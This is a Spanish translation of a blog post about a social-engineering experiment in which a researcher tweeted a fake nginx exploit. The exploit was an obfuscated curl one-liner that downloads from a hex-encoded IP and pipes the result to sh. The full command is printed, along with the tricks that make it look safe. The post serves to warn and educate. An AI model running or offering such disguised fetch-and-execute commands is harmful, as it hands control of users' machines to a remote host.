{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"El \u00e9xito del experimento social con un exploit falso para nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nota de traducci\u00f3n.<\/b>: Autor<\/a><\/noindex> de la nota original, publicada el 1 de junio, decidi\u00f3 realizar un experimento entre aquellos interesados en la seguridad inform\u00e1tica. Para ello, prepar\u00f3 un exploit falso para una vulnerabilidad no divulgada en un servidor web y lo public\u00f3 en su Twitter. Sus suposiciones de ser desmantelado al instante por especialistas que notar\u00edan el enga\u00f1o en el c\u00f3digo no solo no se cumplieron... superaron todas las expectativas, y de manera contraria: el tweet recibi\u00f3 un apoyo enorme de numerosas personas que no verificaron su contenido.<\/i><\/p>\n

\"El
\n
\nTL;DR: nunca utilices la canalizaci\u00f3n de archivos en sh o bash. Es una excelente manera de perder el control sobre tu computadora.<\/b><\/a><\/noindex><\/p>\n

Quiero compartir con ustedes una breve historia sobre un PoC-exploit humor\u00edstico que fue creado el 31 de mayo. Surgi\u00f3 r\u00e1pidamente en respuesta a la noticia de Alisa Esage Shevchenko<\/a><\/noindex>, miembro de Zero Day Initiative<\/a><\/noindex> (ZDI), sobre que pronto se revelar\u00eda informaci\u00f3n acerca de una vulnerabilidad en NGINX, que lleva a RCE (ejecuci\u00f3n remota de c\u00f3digo). Dado que NGINX es la base de muchos sitios web, la noticia deb\u00eda tener el efecto de una bomba. Pero debido a los retrasos en el proceso de 'divulgaci\u00f3n responsable' de informaci\u00f3n, los detalles del incidente no fueron conocidos; tal es el procedimiento est\u00e1ndar de ZDI.<\/p>\n

\"El
\nTweet<\/a><\/noindex> sobre la divulgaci\u00f3n de la vulnerabilidad en NGINX<\/i><\/p>\n

Al finalizar el trabajo en una nueva t\u00e9cnica de ofuscaci\u00f3n en curl, cit\u00e9 el tweet original y 'filtr\u00e9 un PoC funcional', compuesto por una l\u00ednea de c\u00f3digo, supuestamente utilizando la vulnerabilidad descubierta. Por supuesto, fue un completo enga\u00f1o. Pens\u00e9 que me desenmascarar\u00edan de inmediato, y que en el mejor de los casos recibir\u00eda un par de retweets (y eso estar\u00eda bien).<\/p>\n

\"El
\nTweet<\/a><\/noindex> con el exploit falso<\/i><\/p>\n

Sin embargo, no pod\u00eda imaginar lo que sucedi\u00f3 despu\u00e9s. La popularidad de mi tweet se dispar\u00f3. Sorprendentemente, hasta el momento (15:00 MSK del 1 de junio) todav\u00eda hay muy pocos que han comprendido que es una falsificaci\u00f3n. Muchos lo retuitean sin verificar (sin mencionar disfrutar de la hermosa gr\u00e1fica ASCII que genera).<\/p>\n

\"El
\n\u00a1Miren qu\u00e9 belleza!<\/i><\/p>\n

Aunque todos estos ciclos y colores son magn\u00edficos, est\u00e1 claro: para verlos, la gente ejecutaba el c\u00f3digo en su propia m\u00e1quina. Afortunadamente, los navegadores funcionan de manera similar, y sumado al hecho de que no necesito problemas legales, el c\u00f3digo escondido en mi sitio solo hac\u00eda llamadas echo, sin intentar establecer o ejecutar ning\u00fan c\u00f3digo adicional.<\/p>\n

Una peque\u00f1a digresi\u00f3n: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, yo y otros chicos del equipo Thugcrowd<\/a><\/noindex> hemos estado jugando durante un tiempo con diferentes formas de ofuscar los comandos curl, porque es divertido... y somos geeks. netspooky y dnz descubrieron algunas nuevas formas que me parecieron extremadamente prometedoras. Me un\u00ed a la diversi\u00f3n e intent\u00e9 agregar conversiones de IP en decimal al conjunto de trucos. Result\u00f3 que la IP tambi\u00e9n se puede convertir a formato hexadecimal. Adem\u00e1s, curl y la mayor\u00eda de otras herramientas NIX aceptan encantados las IP hexadecimales. As\u00ed que solo era necesario crear una l\u00ednea de comando convincente y que pareciera segura. Al final, me qued\u00e9 con esta:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
La ingenier\u00eda socioelectr\u00f3nica (S.E.E.) es m\u00e1s que solo phishing.<\/h2>\n
\nLa seguridad y la familiaridad fueron parte fundamental de este experimento. Creo que fueron las que llevaron a su \u00e9xito. La l\u00ednea de comando claramente implicaba seguridad, haciendo referencia a '127.0.0.1' (el conocido localhost). Se considera que localhost es seguro y que los datos en \u00e9l nunca abandonan su computadora.<\/p>\n
La familiaridad fue el segundo componente clave de S.E.E. en el experimento. Dado que la audiencia objetivo consist\u00eda principalmente en personas familiarizadas con los fundamentos de la seguridad inform\u00e1tica, era importante crear un c\u00f3digo cuyas partes parecieran conocidas y familiares (y por tanto seguras). Tomar elementos de viejas conceptos de exploits y combinarlos de una manera inusual result\u00f3 ser bastante exitoso.<\/p>\n
A continuaci\u00f3n se presenta un desglose detallado de la l\u00ednea de un solo comando. Todo en esta lista es cosm\u00e9tico<\/b>, y pr\u00e1cticamente no se requiere nada para que funcione realmente.<\/i><\/p>\n
\u00bfCu\u00e1les son los componentes que realmente se necesitan? Son -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> y el propio servidor web. El servidor web no conten\u00eda ninguna instrucci\u00f3n maliciosa, simplemente transmit\u00eda gr\u00e1ficos ASCII mediante comandos echo<\/code> en el script incluido en index.html<\/code>. Cuando un usuario ingresaba una cadena con |sh<\/code> en el medio, index.html<\/code> se cargaba y ejecutaba. Afortunadamente, los guardianes del servidor web no ten\u00edan malas intenciones.<\/p>\n